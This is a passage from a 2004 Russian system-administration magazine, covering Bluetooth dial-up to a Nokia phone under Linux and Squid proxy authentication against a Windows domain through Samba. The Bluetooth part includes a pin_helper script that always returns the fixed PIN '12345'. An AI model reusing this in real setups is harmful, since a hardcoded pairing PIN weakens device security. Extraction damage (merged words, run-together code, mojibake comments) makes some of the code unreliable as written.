Как говорил один известный персонаж, «Все ходы у насзаписаны». И в случае чего можно будет запросто занять-ся отладкой неработающего соединения.

Теперь было бы интересно узнать, какие сервисы Nokia6310i может нам предоставить. Для этого на компьютередолжен работать sdp-демон, который реализует протоколService Discovery Protocol. А вслед за ним необходимо за-пустить утилиту sdptool, получающую данные от демона ипоказывающую их пользователю.

Думаю, что для выхода в Интернет нам лучше всего ис-пользовать сервис под названием «Dialup Networking», при-вязанный к каналу номер 1 (Channel: 1). Для того чтобы вос-пользоваться интересующим сервисом, нужно связать егос устройством rfcomm.

Проверим, есть ли у нас в системе столь необходимыеустройства:

Для того чтобы получить возможность работать с устрой-ством rfcomm, как с обычным COM-портом, нужно привя-зать его к каналу, через который доступен интересный длянас сервис. Как уже упоминалось выше, Dial-up Networking

# ll /dev/rfcomm*

lrwxrwxrwx 1 root root 6 Aug 4 09:29 /dev/rfcomm0 -> ttyUB0

lrwxrwxrwx 1 root root 6 Aug 4 09:29 /dev/rfcomm1 -> ttyUB1

lrwxrwxrwx 1 root root 6 Aug 4 09:29 /dev/rfcomm2 -> ttyUB2

00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............

> HCI Event: Command Status (0x0f) plen 4

0000: 00 01 1d 04 ....

> HCI Event: Read Remote Ver Info Complete (0x0c) plen 8

0000: 00 29 00 01 01 00 2c 02 .)....,.

> HCI Event: Command Status (0x0f) plen 4

0000: 00 01 1b 04 ....

> HCI Event: Read Remote Supported Features (0x0b) plen 11

0000: 00 29 00 bf 28 21 00 00 00 00 00 .)..(!.....

> HCI Event: Command Status (0x0f) plen 4

0000: 00 01 06 04 ....

> HCI Event: Disconn Complete (0x05) plen 4

0000: 00 29 00 16 .)..

> HCI Event: Command Status (0x0f) plen 4

> HCI Event: Read Remote Supported Features (0x0b) plen 11

> HCI Event: Command Status (0x0f) plen 4

> HCI Event: Disconn Complete (0x05) plen 4

# sdpd

# sdptool browse 00:02:EE:B6:6A:E5

Browsing 00:02:EE:B6:6A:E5 ...

Service Name: Fax

Service RecHandle: 0x1001e

Service Class ID List:

"Fax" (0x1111)

"Generic Telephony" (0x1204)

Protocol Descriptor List:

"L2CAP" (0x0100)

"RFCOMM" (0x0003)

Channel: 2

Language Base Attr List:

code_ISO639: 0x656e

encoding: 0x6a

base_offset: 0x100

Profile Descriptor List:

"Fax" (0x1111)

Version: 0x0100

Service Name: OBEX Object Push

Service RecHandle: 0x1001f

Service Class ID List:

"OBEX Object Push" (0x1105)

Protocol Descriptor List:

"L2CAP" (0x0100)

"RFCOMM" (0x0003)

Channel: 9

"OBEX" (0x0008)

Language Base Attr List:

code_ISO639: 0x656e

encoding: 0x6a

base_offset: 0x100

Profile Descriptor List:

"OBEX Object Push" (0x1105)

Version: 0x0100

Service Name: Audio Gateway

Service RecHandle: 0x10020

Service Class ID List:

"Headset Audio Gateway" (0x1112)

"Generic Audio" (0x1203)

Protocol Descriptor List:

"L2CAP" (0x0100)

"RFCOMM" (0x0003)

Channel: 12

Language Base Attr List:

code_ISO639: 0x656e

encoding: 0x6a

base_offset: 0x100

Profile Descriptor List:

"Headset" (0x1108)

Version: 0x0100

Service Name: COM 1

Service RecHandle: 0x10021

Service Class ID List:

"Serial Port" (0x1101)

Protocol Descriptor List:

"L2CAP" (0x0100)

"RFCOMM" (0x0003)

Channel: 3

Language Base Attr List:

code_ISO639: 0x656e

encoding: 0x6a

base_offset: 0x100

Service Name: Voice Gateway

Service RecHandle: 0x10022

Service Class ID List:

"" (0x111f)

"Generic Audio" (0x1203)

Protocol Descriptor List:

"L2CAP" (0x0100)

"RFCOMM" (0x0003)

Channel: 13

Language Base Attr List:

code_ISO639: 0x656e

encoding: 0x6a

base_offset: 0x100

Profile Descriptor List:

"" (0x111e)

Version: 0x0100

Service Name: Dial-up networking

Service RecHandle: 0x10027

Service Class ID List:

"Dialup Networking" (0x1103)

"Generic Networking" (0x1201)

Protocol Descriptor List:

"L2CAP" (0x0100)

"RFCOMM" (0x0003)

Channel: 1

Language Base Attr List:

code_ISO639: 0x656e

encoding: 0x6a

base_offset: 0x100

Profile Descriptor List:

"Dialup Networking" (0x1103)

Version: 0x0100

Page 29: 023 Системный Администратор 10 2004

27№10(23), октябрь 2004

администрирование

в телефоне Nokia 6310i закреплен за первым каналом. Вустройствах от других производителей могут использовать-ся номера каналов, отличающиеся от приведенных в этойстатье.

Привязать канал к rfcomm можно либо на постоянной ос-нове с помощью команды bind, либо на один раз с помощьюкоманды connect. В первом случае привязка сохранится внезависимости от того, сколько раз мы соединялись с устрой-ством, а во втором после окончания соединения привязкабудет разорвана. Привожу оба варианта:

После выполнения любой из этих команд нужно прове-рить, правильно ли все работает. Делается это с помощьювызова следующей команды:

Самые нетерпеливые могут присоединиться к устрой-ству /dev/rfcomm0 программой minicom и управлять моде-мом с помощью стандартных AT-команд. Я же предпочи-таю пойти другим путем. Для дозвона к провайдеру будетиспользоваться программа kppp. Впрочем, все желающиемогут использовать стандартный pppd. Это всего лишь деловкуса, потому что kppp все равно запускает pppd.

Запустив kppp, воспользуемся кнопкой «Настроить»,затем выбираем вкладку соединения и жмем Создать →→→→→Ручная настройка. Настраиваем все так, как показано наследующих рисунках.

Завершив настройку соединения, переходим на вклад-ку «Устройство» и изменяем данные, отображенные на ней,следующим образом.

Выбираем только что созданное соединение, указав имяпользователя и пароль, жмем «Подключиться».

Если все настроено правильно, то на дисплее телефо-на должен появиться следующий запрос:

# rfcomm bind rfcomm0 00:02:EE:B6:6A:E5 1# rfcomm connect rfcomm0 00:02:EE:B6:6A:E5 1

# rfcomm show

rfcomm0: 00:02:EE:B6:6A:E5 channel 1 clean

Page 30: 023 Системный Администратор 10 2004

28

администрирование

Согласившись, вводим PIN-код, который в дальнейшембудет использоваться для авторизации соединения с уст-ройством tigroid.

На экране компьютера появится аналогичный запрос наввод PIN-кода.

Стоит отметить, что принятием кода занимается про-грамма pin_helper, о которой мы говорили ранее. К сожа-лению, не во всех дистрибутивах она работает гладко. Еслиу вас дело обстоит именно так, то можно написать свой соб-ственный pin_helper примерно такого содержания:

Даем ему исполняемые атрибуты и вписываем назва-ние в /etc/bluetooth/hcid.conf. Проблем – как не бывало. Вслучае если оба устройства опознают друг друга с помо-щью одинакового PIN-кода, происходит соединение в пару.

Иначе получаем вот такое уведомление:

Если все прошло хорошо, то телефон начнет набиратьномер провайдера и попытается с ним соединиться. Кста-ти, стоит сказать, что подобную процедуру ручной автори-зации необходимо выполнить всего один раз. После этогов файле /etc/bluetooth/link_key появится ключ соединения,а телефон внесет компьютер по имени tigroid в список пар-ных устройств. Впредь авторизация будет происходить ав-томатически, не требуя нашего вмешательства.

Проверить это можно с помощью следующих меню.

Во время работы я столкнулся с такой проблемой. Не-смотря на то что телефон признал в компьютере свою пару,подключение не срабатывало. В этом случае рекомендует-ся разрушить парность устройств, воспользоваться меню,изображенными на следующих снимках. Затем, удаливфайл /etc/bluetooth/link_key, заново пройти процедуру ав-торизации.

В случае если с авторизацией все хорошо, нужно по-пробовать выполнить соединение с провайдером. На экра-не телефона должны появляться следующие изображения.

Опробовав полученное соединение, вновь возвращаем-ся к настройке системы.

Мы запускали всех демонов и привязывали устройствавручную. Конечно, для настройки и отладки это вполне под-ходит, но в реальной системе хотелось бы иметь немногобольше удобства. В этом нам поможет сервис bluetooth. Длятого чтобы автоматически привязывать нужный канал кустройству rfcomm, вносим в файл /etc/rfcomm.conf следу-ющие строчки:

#!/bin/shecho "PIN:12345"

Page 31: 023 Системный Администратор 10 2004

29№10(23), октябрь 2004

администрирование

После этого стоит всего лишь выполнить команды:

И все нужные устройства будут подключены автомати-чески. В принципе система работает, но при каждом запус-ке сервиса bluetooth на экранt появляются ошибки:

Дело в том, что в моей системе нет bluetooth-мышей,клавиатур и прочих HID-устройств, но скрипт упорно наста-ивает на необходимости работать с ними. И это несмотряна то, что HID отключен установкой переменных в значе-ние false.

Видимо, придется немного подчистить мелкие недоче-ты автора скрипта /etc/init.d/bluetooth.

Все проблемы возникают оттого, что скрипт пытаетсяискать местонахождение программ раньше, чем станет из-вестно, нужны ли они пользователю. Для исправления оши-бок находим следующие строки и либо удаляем их, либокомментируем:

rfcomm0 {# Íóæíî ëè âûïîëíÿòü àâòîìàòè÷åñêóþ ïðèâÿçêóbind yes;# Àäðåñ óäàëåííîãî óñòðîéñòâàdevice 00:02:EE:B6:6A:E5;# Íîìåð êàíàëàchannel 1;# Îïèñàíèå ñîåäèíåíèÿcomment "Dial-up Networking";

}

# service bluetooth stop# service bluetooth start

# service bluetooth start

which: no hid2hci in (/sbin:/bin:/usr/sbin:/usr/bin)

Starting Bluetooth subsystem:

Starting hcid service: [ DONE ]

Starting sdpd service: [ DONE ]

Starting hidd service: Can't open HIDP control socket: Invalid argument [FAILED]

Starting rfcomm service: [ DONE ]

HIDD_ENABLE=falseHID2HCI_ENABLE=false

HCID_EXEC="`which $HCID_NAME || true`"SDPD_EXEC="`which $SDPD_NAME || true`"HIDD_EXEC="`which $HIDD_NAME || true`"HID2HCI_EXEC="`which $HID2HCI_NAME || true`"RFCOMM_EXEC="`which $RFCOMM_NAME || true`"PAND_EXEC="`which $PAND_NAME || true`"DUND_EXEC="`which $DUND_NAME || true`"

Затем ищем блок строк, отвечающий за включение сер-висов:

И после него вставляем вот такую конструкцию:

После этого проблемы должны исчезнуть. Думаю, чтона этом наш сегодняшний разговор о bluetooth стоит за-вершить. Дайте мне знать, если вас заинтересовала дан-ная тема. В случае необходимости я напишу продолжениеэтого материала. В нем будет рассказано о том, как, пользу-ясь созданным bluetooth-соединением, управлять различ-ными сервисами телефона и отправлять sms.

Литература:1. Specification of the Bluetooth System», Volume 1: http://

www.bluetooth.com/pdf/Bluetooth_11_Specifications_Book.pdf

2. Maxim Krasnyansky: Linux BlueZ Howto Bluetooth: http://bluez.sourceforge.net/howto/

3. Official Linux Bluetooth protocol stack: http://www.bluez.org/4. Bluez user howto: http://www.hanscees.com

IPMonitor – помощник системного администратора

Когда ваш сервер не работал, вы будете знать с точностью до минуты.

Появился новый сервис, который ориентирован на людей, ответственных за бесперебойную работу интернет-серви-са. Система разрабатывалась для мониторинга работы веб-сайта, но может тестировать любой сетевой сервис.

Программа, работающая на сервере http://ipmonitor.ru, раз в минуту пытается установить соединение с указаннымвами IP-адресом. Сообщения об изменении состояния цели мониторинга (работает/не работает) записываются в лог ивысылаются по почте. Использовав шлюз e-mail →→→→→ SMS, который есть у любого оператора сотовой связи, можно полу-чать сообщение на сотовый телефон.

HCID_ENABLE=trueSDPD_ENABLE=trueHIDD_ENABLE=falseHID2HCI_ENABLE=falseRFCOMM_ENABLE=trueDUND_ENABLE=falsePAND_ENABLE=false

if $HCID_ENABLE ; thenHCID_EXEC="`which $HCID_NAME || true`"fiif $SDPD_ENABLE ; thenSDPD_EXEC="`which $SDPD_NAME || true`"fiif $HIDD_ENABLE ; thenHIDD_EXEC="`which $HIDD_NAME || true`"fiif $HID2HCI_ENABLE ; thenHID2HCI_EXEC="`which $HID2HCI_NAME || true`"fiif $RFCOMM_ENABLE ; thenRFCOMM_EXEC="`which $RFCOMM_NAME || true`"fiif $DUND_ENABLE ; thenPAND_EXEC="`which $PAND_NAME || true`"fiif $PAND_ENABLE ; thenDUND_EXEC="`which $DUND_NAME || true`"fi

Page 32: 023 Системный Администратор 10 2004

30

администрирование

Постановка задачиПредположим, имеется компьютерная сеть на базе доменаWindows NT или 2000, выходящая в Интернет исключитель-но через прокси-сервер, расположенный на компьютере подуправлением операционной системы FreeBSD. Рано илипоздно возникает необходимость контролировать доступпользователей прокси-сервера к различным обьектам. Пер-вое, что приходит в голову в таких случаях – разделениедоступа по IP-адресам компьютеров. Этот способ достаточ-но просто реализуется с помощью несложного набора ACLв конфигурационном файле squid.conf, но он обладает од-ним весьма существенным недостатком – невозможно безпривлечения дополнительных ресурсов однозначно сказать,какой пользователь в данный момент имел доступ к данно-му ресурсу. Более удобным для администратора являетсяспособ, когда каждый пользователь идентифицируется иполучает доступ к прокси только при наличии действующейрегистрационной записи в домене Windows (и возможно,только при вхождении в определенную группу домена). Ва-рианты настроек прокси-сервера, обеспечивающие полу-чение регистрационного имени пользователя, запросивше-го данный ресурс, и будут рассмотрены в данной статье.(Оставим пока в стороне вопрос о том, что делать с этойинформацией – расчет статистики загрузки канала и ото-бражения ее – это тема для отдельной статьи). Для моде-лирования ситуации использовалась следующая конфигу-рация:! Домен на базе Windows 2000 Server.! Прокси-сервер Squid 2.5-STABLE6 на базе FreeBSD 4.10-

STABLE.! Samba 2.2.11 и Samba 3.0.6.

! Все программы собирались с помощью портов, в Makefileкоторых при необходимости вносились изменения. Дан-ные изменения не затрагивали каталоги для размеще-ния файлов порта.

Все команды в данной статье запускаются от именипользователя root. Если для выполнения команды доста-точно привилегий рядового пользователя, это оговарива-ется заранее.

Squid 2.5 и Samba 2.2.xПервый рассматриваемый вариант – предоставление дос-тупа к прокси-серверу при условии наличия действующейучетной записи в домене Windows с использованием паке-та Samba 2.2.x. Версия Samba здесь имеет принципиаль-ное значение, поскольку с различными версиями пакетаsamba необходимо использовать различные варианты вне-шних аутентификаторов для squid.

Для проверки имени и пароля пользователя, передан-ных Squid, мы будем использовать аутентификаторы wb_ntlmauth и wb_auth, которые собираются вместе со Squid,если задать их сборку. Для задания сборки данных аутен-тификаторов следует добавить «winbind» в строки --enable-basic-auth-helpers=”список” и --enable-ntlm-auth-helpers=”спи-сок” в строке CONFIGURE_ARGS порта squid. В последнейна данный момент версии порта (1.138 от 21.08.2004) этипараметры заданы по умолчанию. Если имеются исходныетексты Samba, то можно указать их расположение парамет-ром --with-samba-sources=<полный путь>, например:

РАШИД АЧИЛОВ

НАСТРОЙКА SQUIDДЛЯ ИСПОЛЬЗОВАНИЯ АВТОРИЗАЦИИИЗ ДОМЕНА WINDOWS 2000

--with-samba-sources=/usr/ports/net/samba/work/samba-2.2.11

Page 33: 023 Системный Администратор 10 2004

31№10(23), октябрь 2004

администрирование

иначе Squid будет использовать часть исходных текстовSamba, распространяемых вместе с ним. Если сборка вы-полняется не с помощью портов, а самостоятельно (чтокрайне не рекомендуется делать), то следует добавить кстроке запуска configure эти параметры:

После сборки и установки порта в каталоге /usr/local/libexec должны появиться файлы wb_ntlmauth и wb_auth.

Аутентификатор для проверки имени и пароля, передан-ного от Squid, обращается к демону winbindd, который дол-жен быть запущен на данном компьютере. Для обеспече-ния работоспособности данной схемы Samba, в состав ко-торой входит winbindd, должна быть собрана со следующи-ми параметрами:

Если сборка самбы выполняется не через порты, а са-мостоятельно (что не рекомендуется делать), то к строкезапуска configure следует добавить следующие параметры:

Данная строка задает только сборку Samba безотноси-тельно наличия на компьютере Squid. Если Samba уже былаустановлена и собиралась без указанных параметров, еенеобходимо пересобрать.

По окончании сборки и установки порта в каталоге /usr/local/sbin должна появиться программа winbindd, а в ката-логе /usr/local/bin – wbinfo, которая служит для «общения»с winbindd и получения от него информации. После запускасамбы следует проверить работоспособность winbindd сле-дующим образом:

Первая команда проверяет, работает ли winbindd. Вто-рая – что учетная запись компьютера, на котором запущенwinbindd, добавлена в домен и имеет доступ к базе данныхдомена. Для выполнения данной команды достаточно правпользователя, имеющего доступ к каталогу /var/db/samba/winbindd_privileged. Если вывод программ отличается отприведенного, следует обратиться к документации по sambaдля выяснения причины, почему winbindd неработоспосо-бен, устранить эти причины и повторять тестирование дотех пор, пока не будет получен успешный результат. Наи-более общими причинами являются:! winbindd не запущен (несмотря на всю тривиальность

данной причины);! компьютер не включен в домен Windows, который ука-

зан в параметре workgroup конфигурационного файлаSamba (не выполнялась команда smbpasswd -j MYDOMAINдля samba 2.x или net rpc join <type> -w MYDOMAIN дляsamba 3.x).

Наконец вся предварительная работа выполнена, мож-но переходить к настройке Squid.

В файле squid.conf после тега auth_param (для версии2.5.STABLE6 это строка 1000) идет длинный-длинный ком-ментарий к данному параметру. Там расписаны все пара-метры для всех схем авторизации, а ниже всего этого опи-сания (а оно достаточно объемное – почти полторы сотнистрок) идут строки с параметрами программ аутентифика-ции, отмеченные символом «#» в первой позиции, распоз-наваемым как признак комментария. В данных строках невписана только собственно программа. Сделано это наме-ренно, для того чтобы человек, который возьмется настра-ивать эти параметры, понимал, что он делает.

Для того, чтобы наша схема работала, убираем символ«#» из первой позиции и изменяем следующие строки фай-ла squd.conf:

после чего необходимо будет перезапустить прокси-сервер.Что мы сделали:

! первые четыре строки описывают хелпер аутентифи-кации wb_ntlmauth, который предназначен для работыс браузером Microsoft Internet Explorer, а также с дру-гими браузерами, распознающими конструкции видаMYDOMAIN\myusername (еще к браузерам такого типаотносятся Mozilla/Firefox);

! остальные строки описывают хелпер аутентификацииwb_auth, который предназначен для проверки имени ипароля, передаваемого со стандартного ввода с помо-щью winbindd. Это позволяет использовать любые бра-узеры – как графические, так и нет (lynx, например).

Обращаю внимание на следующие моменты:! Строки в конфигурационном файле должны стоять в

том же порядке, что и в примере, приведенном выше.По умолчанию дело обстоит именно так. Обьясняетсяэто одним странным свойством браузера MicrosoftInternet Explorer – он способен использовать толькопервый описанный хелпер. Если первым описать хел-пер wb_auth, Explorer доступ к прокси-серверу получитьне сможет.

! Необходим будет полный перезапуск через остановсервера и его последующий старт. Команды squid -kreconfigure недостаточно, поскольку при изменении па-раметров аутентификации squid выгружает и загружаетхелперы аутентификации самостоятельно.

Кроме того, необходимо изменить правила получениядоступа к прокси-серверу таким образом, чтобы доступ пре-доставлялся только в случае, если пользователь ввел имяи пароль действительной записи в домене Windows.

Для этого в файл squid.conf следует добавить следую-щие строки:

make WITH_WINBIND=yes WITH_WINBIND_AUTH_CHALLENGE=yes

./configure --with-winbind --with-winbind-auth-challenge ↵↵↵↵↵... <äðóãèå ïàðàìåòðû ïîðòà, åñëè íàäî>

./configure --enable-auth=�basic ntlm� ↵↵↵↵↵--enable-basic-auth-helpers=�winbind� ↵↵↵↵↵--enable-ntlm-auth-helpers=�winbind� ↵↵↵↵↵... <äðóãèå ïàðàìåòðû ïîðòà, åñëè íåîáõîäèìû>

granch:[shelton] 101>wbinfo -p

Ping to winbindd succeeded on fd 3

granch:[shelton] 104>wbinfo -t

checking the trust secret via RPC calls succeeded

auth_param ntlm program /usr/local/libexec/wb_ntlmauthauth_param ntlm children 5auth_param ntlm max_challenge_reuses 0auth_param ntlm max_challenge_lifetime 2 minutesauth_param basic program /usr/local/libexec/wb_authauth_param basic children 5auth_param basic realm Squid proxy-caching web serverauth_param basic credentialsttl 2 hours

Page 34: 023 Системный Администратор 10 2004

32

администрирование

Первая строка создает правило, согласно которому:! Доступом к прокси-серверу управляет внешняя програм-

ма (программы), описанная в секции auth_param (см.выше описание данного параметра). Если какая-либоиз программ завершается с ошибкой, отсутствует илидает отрицательный ответ, то вызывается следующаяпо списку, пока не будут просмотрены все присутству-ющие в файле squid.conf строки auth_param.

! Для доступа к прокси-серверу необходим положитель-ный ответ от программы-аутентификатора (хелпера),иначе доступ предоставлен не будет. Завершение сошибкой, отсутствие или отрицательный ответ всех хел-перов считаются отрицательным результатом и являют-ся основанием для отказа в доступе.

Вторая строка разрешает доступ к прокси только в томслучае, если проверка правила NTLMauth, описанного впервой строке, завершилась успешно.

Проверяем.Запустив любой браузер, кроме Internet Explorer, пыта-

емся посетить какой-нибудь сайт. Получаем запрос на вводимени и пароля. Вводим (для того чтобы не вводить егопостоянно в Mozilla/Konqueror, например, есть режим хра-нения паролей, при котором во все последующие разы до-статочно нажать «OK»). Получаем доступ к сайту. Смот-рим файл регистрационного журнала access.log прокси-сер-вера и видим в конце строки, там где всегда было пусто,введенное нами имя пользователя.

Запускаем Internet Explorer. Пароль вводить не надо –Internet Explorer обладает «неестественным» интеллектоми передаст его сам. Получаем доступ к сайту. Смотрим файлрегистрационного журнала access.log прокси-сервера ивидим...

Здесь мы сталкиваемся с двумя вполне безобидными,но способными поначалу озадачить особенностями InternetExplorer – во-первых, автоматическая передача регистра-ционного имени и пароля пользователя происходит толькона третий запрос бразуера, после того как он дважды по-лучает в ответ: TCP_DENIED/407, а во-вторых, регистраци-онное имя передается в форме MYDOMAIN\myusername, чтопотребует потом его дальнейшей обработки, потому чторегистрационное имя, передаваемое прочими браузерами,не содержит Windows-домена.

Squid 2.5 и Samba 3.xНесколько усовершенствуем нашу систему. Все бы в нейничего, но есть как минимум один момент, который можетпотребовать доработок. Он связан с тем, что Samba Teamофициально прекращает поддержку ветки 2.2.х с 1 октяб-ря 2004 г. для того, чтобы сосредоточить все усилия на вет-ке 3.х и перспективной 4.х. Это означает то, что обнару-женные ошибки исправляться не будут, вне зависимостиот их степени опасности. Поэтому мы заблаговременно от-казываемся в нашей системе от Samba 2.2.11 и переходимна Samba 3.х.

Samba 3.x – это новый продукт Samba team, которыйсодержит огромное количество изменений (и примерно та-

кое же количество ошибок) по сравнению с Samba 2.2.x.Squid еще не умеет работать с winbindd-демоном от Samba3.x, поэтому Samba Team поставляет собственную версиюхелпера аутентификации для использования его в Squid –ntlm_auth. Поэтому при сборке Squid безразлично, что бу-дет задано в качестве параметров --enable-basic-auth-helpersи --enable-ntlm-auth-helpers. Для сборки Samba как обычноследует указать:

при сборке через порты либо:

После сборки порта в каталоге /usr/local/bin должен по-явиться файл ntlm_auth. Для него существует руководство(мануал) в отличие от тех хелперов, что поставляются вме-сте со Squid, можете посмотреть, набрав man ntlm_auth.

Как обычно, сначала убеждаемся, что winbindd запущени Samba сконфигурирована нормально, запустив wbinfo -pи wbinfo -t (пример вывода программ и рекомендации, чтоделать, если вывод не совпадает, приведен выше).

Можно переходить к изменению конфигурационногофайла squid.conf. Находим строку, которую редактировалив прошлый раз, и изменяем вот так:

Более подробную информацию о параметрах хелпераhtlm_auth можно получить из команды man ntlm_auth.

Как обычно, следите за тем, чтобы ntlm_auth в /usr/local/bin был из сборки Samba, потому что Squid тоже собираетсвой собственный хелпер ntlm_auth (--enable-ntlm-auth-helpers=”SMB”). Но хелпер Squid не умеет работать сwinbindd, входящим в комплект Samba 3.x. И конечно, хел-пер, обслуживающий запросы Internet Explorer, должен рас-полагаться перед хелпером, принимающем пароль со стан-дартного ввода.

Отличительной (и приятной) особенностью работы дан-ного хелпера является то, что при общении с Internet Explorerимя пользователя передается в лог без доменной части(myusername вместо MYDOMAIN\myusername при взаимо-действии с хелперами, входящими в комплект Squid).

Стоит отметить еще одну особенность данного хелпе-ра – для нормальной работы ему необходим доступ к pipewinbindd, который по умолчанию располагается в /var/db/samba/winbindd_privileged. Собственно pipe имеет права0777, но каталог, в котором он находится, имеет права 0750.

Для решения этой проблемы достаточно изменить груп-пу пользователей каталога winbindd_privileged на squid:

make WITH_WINBIND=yes

./configure --with-winbind ... <ïðî÷èå ïàðàìåòðû, åñëè íàäî>

auth_param ntlm program /usr/local/bin/ntlm_auth ↵↵↵↵↵--helper-protocol=squid-2.5-ntlmssp

auth_param ntlm children 5auth_param ntlm max_challenge_reuses 0auth_param ntlm max_challenge_lifetime 2 minutesauth_param basic program /usr/local/bin/ntlm_auth ↵↵↵↵↵

--helper-protocol=squid-2.5-basicauth_param basic children 5auth_param basic realm Squid proxy-caching web serverauth_param basic credentialsttl 2 hours

chown root:squid /var/db/samba/winbindd_privileged

acl NTLMauth proxy_auth REQUIREDhttp_access allow NTLMauth

Page 35: 023 Системный Администратор 10 2004

33№10(23), октябрь 2004

администрирование

Squid 2.5, Samba и наличиепользователей в определенной группеМодифицируем нашу систему дальше. Сделаем так, чтобыпользователь мог получить доступ к прокси-серверу, толь-ко если его учетная запись находится в группе My Proxy.Для решения этой проблемы можно использовать как стан-дартные аутентификаторы прокси-сервера (ntlm_auth иwbinfo_group), так и аутентификатор ntlm_auth из комплек-та сборки Samba. Рассмотрим каждый вариант.

Использование аутентификаторовиз комплекта прокси-сервераДля того чтобы использовать аутентификаторы прокси-сер-вера вместе с Samba (версия не имеет значения), необхо-димо использовать другие программы-хелперы.

Для использования хелперов из комплекта прокси-сер-вера задача аутентификации разбивается на две части –используется хелпер ntlm_auth и внешняя программаwbinfo_group.pl, представляющая из себя скрипт на языкеPerl. Перестраиваем конфигурацию аутентификаторов сле-дущим образом:

Здесь dcone и dctwo – соответственно первый и вто-рой контроллеры домена (имеются в виду NetBIOS-имена).Следует заметить, что здесь мы меняем только конфигура-цию для браузеров, которые умеют работать с конструкци-ями MY_DOMAIN\myname и не меняем конфигурацию дляпрочих браузеров. Кроме того, в секцию external_acl_typeмы добавляем дополнительную внешнюю программуwbinfo_ group.pl (для установки данной программы следуетуказать:

в строке запуска configure при сборке прокси-сервера, пос-ледняя версия Makefile в портах установит его по умолча-нию) таким образом:

Что мы сделали: задали использование внешней про-граммы-аутентификатора, с именем ntgroup (будет исполь-зоваться при задании ACL), пять одновременно работаю-щих копий в памяти, передаваться ей будет регистрацион-ное имя, в ответ программа должна вернуть OK или ERR, взависимости от проверяемого условия.

Кроме того, изменяем условие предоставления досту-па к прокси-серверу на следующее:

С условием NTLMauth мы уже знакомы – оно задаетпредставление доступа только в случае успешного возвра-та от хелперов аутентификации. Условие NTDCgroup зада-ет вызов внешней программы, описанной в условии ntgroup,при этом в качестве параметра внешней программе пере-дается имя группы, вхождение в которую должно быть про-верено. В данном примере это группа Internet. Доступ к про-кси будет предоставлен только в случае одновременноговыполнения обоих условий.

Достоинством данного метода является независимостьего от версии Samba – wb_ntlmauth и wbinfo_group работа-ют путем передачи команд демону winbindd – можно спо-койно перейти с версии Samba 2.х на версию 3.х и не заме-тить момент перехода.

Использование аутентификаторовиз комплекта Samba (только Samba 3.x)Поскольку хелперы прокси-сервера не умеют работать сwinbindd демоном из сборки Samba 3.x, рекомендуется от-казаться от их применения и использовать хелпер ntlm_authиз сборки прокси-сервера (не путать с одноименным хел-пером из сборки Samba! Хелпер прокси-сервера обычно ле-жит в /usr/local/libexec, а хелпер Samba – в /usr/local/bin).Кроме того, использование wbinfo_group.pl имеет один от-рицательный момент – это скрипт, он написан на языке Perl,следовательно, в оперативной памяти постоянно находит-ся некоторое количество копий процесса perl, интерпрети-рующего скрипт. Отказ от wbinfo_group.pl позволит сокра-тить объем требуемой памяти. Использование аутентифи-каторов из комплекта Samba значительно проще: не нужноникаких внешних программ, не нужно никаких дополнитель-ных правил – сам хелпер ntlm_auth имеет параметр --require-membership-of=”Group”. Поэтому возвращаем наше прави-ло, регулирующее доступ к прокси-серверу, к виду, описан-ному в разделе «Samba 2.5 и Samba 2.2.x».

и заменяем хелперы из поставки squid на хелпер ntlm_authиз поставки samba следующим образом:

Здесь «My Proxy» – группа, присутствие в которой дает пра-во пользоваться прокси-сервером. На что следует обратитьвнимание – в значении параметра --require-membership-ofзадана запись «MY_DOMAIN+My Proxy». В этой записи «MyProxy» – название группы, а знак «+» – это значение пара-метра «winbind separator» из конфигурационного файлаSamba smb.conf. В сервере, на котором проводилось тес-тирование, параметр задан следующим образом:

auth_param ntlm program /usr/local/libexec ↵↵↵↵↵/ntlm_auth MY_DOMAIN\\dcone MY_DOMAIN\\dctwo

auth_param ntlm children 5auth_param ntlm max_challenge_reuses 0auth_param ntlm max_challenge_lifetime 2 minutesauth_param basic program /usr/local/libexec/wb_authauth_param basic children 5auth_param basic realm Squid proxy-caching web serverauth_param basic credentialsttl 2 hours

--with-external-acl-helpers=�wbinfo_group�

external_acl_type ntgroup concurrency=5 ↵↵↵↵↵%LOGIN /usr/local/libexec/wbinfo_group.pl

acl NTDCgroup external ntgroup Internetacl NTLMauth proxy_auth REQUIREDhttp_access allow NTLMauth NTDCgroup

http_access allow NTLMauth

auth_param ntlm program /usr/local/bin/ntlm_auth ↵↵↵↵↵--helper-protocol=squid-2.5-ntlmssp ↵↵↵↵↵--require-membership-of="MY_DOMAIN+My Proxy"

auth_param ntlm children 5auth_param ntlm max_challenge_reuses 0auth_param ntlm max_challenge_lifetime 2 minutesauth_param basic program /usr/local/bin/ntlm_auth ↵↵↵↵↵

--helper-protocol=squid-2.5-basic ↵↵↵↵↵--require-membership-of="MY_DOMAIN+My Proxy"

auth_param basic children 5auth_param basic realm Squid proxy-caching web serverauth_param basic credentialsttl 2 hours

Page 36: 023 Системный Администратор 10 2004

34

администрирование

Если у вас используется другой символ, его следуетуказывать вместо знака «+» (в противном случае хелперне сможет определить принадлежность к группе и пользо-ватель не получит доступа к прокси в конечном итоге). Сле-дует иметь в виду, что данное значение параметра winbindseparator не является значением по умолчанию для самбы.По умолчанию значением является «\» (обратная косая чер-та). Но использование этого символа в командах, переда-ваемых в shell, как правило, чревато необходимостью «за-щищать» его от того, чтобы shell не воспринял его как слу-жебный, поэтому был выбран другой символ. Хотя, напри-мер, man smb.conf не рекомендует использовать именно «+»чтобы избежать возможных проблем с NIS.

Если какой-либо из приведенныхспособов не работаетОтнюдь не факт, что любой описанный здесь метод зара-ботает с первого раза. Мне приходилось немало проверять,перепроверять и тестировать конфигурационные файлы,прежде чем начинал работать какой-либо из методов, хотяв конечном итоге работали все методы. Если какой-либобраузер (Mozilla, например, но не Internet Explorer) запра-шивает пароль и не реагирует как положено на правиль-ный, следует:! Убедиться, что пароль введен правильно.! Посмотреть лог cache.log в каталоге логов прокси-сер-

вера – хелперы выводят сообщения об ошибках туда.! Проверить правильность написания путей в правилах

задания хелперов.! Проверить наличие самих хелперов по указанным пу-

тям и достаточность прав на запуск хелперов из-подпользователя, от имени которого работает прокси-сер-вер (обычно это squid из группы squid).

